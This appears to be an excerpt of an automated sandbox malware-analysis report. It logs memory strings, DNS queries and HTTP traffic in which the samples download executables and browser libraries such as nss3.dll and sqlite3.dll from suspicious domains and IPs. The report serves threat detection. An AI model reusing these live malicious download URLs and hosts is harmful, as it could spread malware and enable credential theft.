Source: svchost.exe, 00000007.00000003.305193025.000001A73205A000.00000004.00000001.sdmp, svchost.exe, 00000007.00000002.305687704.000001A73205C000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 00000007.00000003.305173517.000001A732061000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Locations
Source: svchost.exe, 00000007.00000002.305659800.000001A73203C000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
Source: svchost.exe, 00000007.00000003.305173517.000001A732061000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
Source: svchost.exe, 00000007.00000003.305173517.000001A732061000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
Source: svchost.exe, 00000007.00000003.305173517.000001A732061000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
Source: svchost.exe, 00000007.00000002.305669695.000001A732042000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
Source: svchost.exe, 00000007.00000003.305214782.000001A732040000.00000004.00000001.sdmp, svchost.exe, 00000007.00000003.305241653.000001A732041000.00000004.00000001.sdmp, svchost.exe, 00000007.00000002.305669695.000001A732042000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=
Source: svchost.exe, 00000007.00000003.305173517.000001A732061000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
Source: svchost.exe, 00000007.00000003.305193025.000001A73205A000.00000004.00000001.sdmp, svchost.exe, 00000007.00000003.305214782.000001A732040000.00000004.00000001.sdmp, svchost.exe, 00000007.00000002.305687704.000001A73205C000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
Source: svchost.exe, 00000007.00000003.305193025.000001A73205A000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
Source: svchost.exe, 00000007.00000003.305193025.000001A73205A000.00000004.00000001.sdmp, svchost.exe, 00000007.00000002.305687704.000001A73205C000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
Source: svchost.exe, 00000007.00000003.305193025.000001A73205A000.00000004.00000001.sdmp, svchost.exe, 00000007.00000002.305687704.000001A73205C000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
Source: svchost.exe, 00000007.00000003.305141180.000001A732064000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.t
Source: svchost.exe, 00000007.00000003.305173517.000001A732061000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
Source: svchost.exe, 00000007.00000002.305659800.000001A73203C000.00000004.00000001.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000007.00000003.283449741.000001A732031000.00000004.00000001.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=
Source: 4187.exe, 0000002A.00000002.553213817.0000000000ADD000.00000004.00000001.sdmp, 4187.exe, 0000002A.00000002.553183370.0000000000AC8000.00000004.00000001.sdmp	String found in binary or memory: https://t.me/capibar
Source: 4187.exe, 0000002A.00000002.553213817.0000000000ADD000.00000004.00000001.sdmp	String found in binary or memory: https://t.me/capibar.
Source: svchost.exe, 00000007.00000002.305659800.000001A73203C000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
Source: svchost.exe, 00000007.00000002.305612043.000001A732013000.00000004.00000001.sdmp, svchost.exe, 00000007.00000002.305659800.000001A73203C000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
Source: svchost.exe, 00000007.00000003.283449741.000001A732031000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
Source: svchost.exe, 00000007.00000003.305233955.000001A732056000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=
Source: svchost.exe, 00000007.00000003.283449741.000001A732031000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
Source: svchost.exe, 00000007.00000003.283449741.000001A732031000.00000004.00000001.sdmp, svchost.exe, 00000007.00000002.305650865.000001A73203A000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
Source: svchost.exe, 00000007.00000003.305271038.000001A73204E000.00000004.00000001.sdmp, svchost.exe, 00000007.00000003.305161130.000001A732048000.00000004.00000001.sdmp	String found in binary or memory: https://t0.tiles.ditu.live.com/tiles/gen

Source: unknown

DNS traffic detected: queries for: host-data-coin-11.com

Source: C:\Users\user\AppData\Local\Temp\18D.exe

Code function: 18_2_00402A62 GetProcessHeap,GetProcessHeap,GetProcessHeap,HeapAlloc,socket,htons,select,recv,htons,htons,htons,GetProcessHeap,HeapAlloc,htons,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,closesocket,GetProcessHeap,HeapFree,

18_2_00402A62

Source: global traffic	HTTP traffic detected: GET /downloads/toolspab2.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: privacytools-foryou-777.com
Source: global traffic	HTTP traffic detected: GET /files/2184_1641247228_8717.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /install5.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: unicupload.top
Source: global traffic	HTTP traffic detected: GET /game.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /6.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 185.7.214.171:8080
Source: global traffic	HTTP traffic detected: GET /stlr/maps.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 91.243.44.130
Source: global traffic	HTTP traffic detected: GET /install1.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: unic11m.top
Source: global traffic	HTTP traffic detected: GET /install1.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: unicupload.top
Source: global traffic	HTTP traffic detected: GET /files/8584_1641133152_551.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /POeNDXYchB.php HTTP/1.1Host: 185.7.214.239Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /crp.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: f0616068.xsph.ru
Source: global traffic	HTTP traffic detected: GET /sqlite3.dll HTTP/1.1Host: 185.7.214.239Cache-Control: no-cacheCookie: PHPSESSID=9tonum6b55n3ncs7ru7lrdrlt3
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: vk.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: natribu.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: natribu.org
Source: global traffic	HTTP traffic detected: GET /files/2972_1641266367_4755.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Host: 65.108.180.72Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Host: 116.202.186.120Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Host: 65.108.180.72Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Host: 65.108.180.72Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Host: 65.108.180.72Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Host: 116.202.186.120Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Host: 116.202.186.120Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Host: 116.202.186.120Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Host: 116.202.186.120Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Host: 116.202.186.120Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /lava.exe HTTP/1.1Host: f0616071.xsph.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Music.exe HTTP/1.1Host: f0616073.xsph.ruConnection: Keep-Alive

Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:32:46 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 0d 0a 14 00 00 00 7b fa f6 1a b5 69 2b 2c 47 fa 0e a8 c1 82 9f 4f 1a c4 da 16 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 19{i+,GO0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:32:46 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d1 95 4f 11 6a 11 e9 b2 83 bd a6 02 e9 1a d1 70 ae 59 4a d9 52 a6 be 67 e3 25 58 51 b8 f6 cb 41 e1 0e 88 16 95 e1 63 da 7d b3 ef d2 01 79 e4 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OOjpYJRg%XQAc}yc0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:32:49 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:32:49 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:32:49 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:32:50 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:32:51 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 64 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 13 49 3a 4a a6 e8 dd e6 f8 5f f5 4a 88 2d a0 57 53 98 00 e5 a7 2c f8 2f 0d 0a 30 0d 0a 0d 0a Data Ascii: 2dI:82OI:J_J-WS,/0
